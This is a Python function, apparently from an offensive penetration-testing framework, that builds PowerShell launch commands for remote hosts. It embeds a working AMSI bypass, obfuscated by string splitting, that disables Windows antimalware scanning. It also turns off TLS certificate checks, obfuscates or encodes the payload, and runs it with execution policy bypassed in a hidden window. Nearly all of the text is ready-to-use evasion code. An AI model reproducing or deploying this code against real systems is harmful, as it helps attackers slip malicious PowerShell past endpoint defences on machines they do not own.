docs: def create_ps_command(ps_command, force_ps32=False, dont_obfs=False):
  
      amsi_bypass = """[Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}
  try{
  [Ref].Assembly.GetType('Sys'+'tem.Man'+'agement.Aut'+'omation.Am'+'siUt'+'ils').GetField('am'+'siIni'+'tFailed', 'NonP'+'ublic,Sta'+'tic').SetValue($null, $true)
  }catch{}
  """
  
      if force_ps32:
          command = amsi_bypass + """
  $functions = {{
      function Command-ToExecute
      {{
  {command}
      }}
  }}
  if ($Env:PROCESSOR_ARCHITECTURE -eq 'AMD64')
  {{
      $job = Start-Job -InitializationScript $functions -ScriptBlock {{Command-ToExecute}} -RunAs32
      $job | Wait-Job
  }}
  else
  {{
      IEX "$functions"
      Command-ToExecute
  }}
  """.format(command=amsi_bypass + ps_command)
  
      else:
          command = amsi_bypass + ps_command
  
      logging.debug('Generated PS command:\n {}\n'.format(command))
  
      # We could obfuscate the initial launcher using Invoke-Obfuscation but because this function gets executed concurrently
      # it would spawn a local powershell process per host which isn't ideal, until I figure out a good way of dealing with this 
      # it will use the partial python implementation that I stole from GreatSCT (https://github.com/GreatSCT/GreatSCT) <3
  
      """
      if is_powershell_installed():
  
          temp = tempfile.NamedTemporaryFile(prefix='cme_',
                                             suffix='.ps1',
                                             dir='/tmp')
          temp.write(command)
          temp.read()
  
          encoding_types = [1,2,3,4,5,6]
          while True:
              encoding = random.choice(encoding_types)
              invoke_obfs_command = 'powershell -C \'Import-Module {};Invoke-Obfuscation -ScriptPath {} -Command "ENCODING,{}" -Quiet\''.format(get_ps_script('invoke-obfuscation/Invoke-Obfuscation.psd1'),
                                                                                                                                                temp.name,
                                                                                                                                                encoding)
              logging.debug(invoke_obfs_command)
              out = check_output(invoke_obfs_command, shell=True).split('\n')[4].strip()
  
              command = 'powershell.exe -exec bypass -noni -nop -w 1 -C "{}"'.format(out)
              logging.debug('Command length: {}'.format(len(command)))
  
              if len(command) <= 8192:
                  temp.close()
                  break
  
              encoding_types.remove(encoding)
      
      else:
      """
      if not dont_obfs:
          obfs_attempts = 0
          while True:
              command = 'powershell.exe -exec bypass -noni -nop -w 1 -C "' + invoke_obfuscation(command) + '"'
              if len(command) <= 8191: 
                  break
  
              if obfs_attempts == 4:
                  logger.error('Command exceeds maximum length of 8191 chars (was {}). exiting.'.format(len(command)))
                  exit(1)
  
              obfs_attempts += 1
      else:
          command = 'powershell.exe -noni -nop -w 1 -enc {}'.format(encode_ps_command(command))
          if len(command) > 8191:
              logger.error('Command exceeds maximum length of 8191 chars (was {}). exiting.'.format(len(command)))
              exit(1)
  
      return command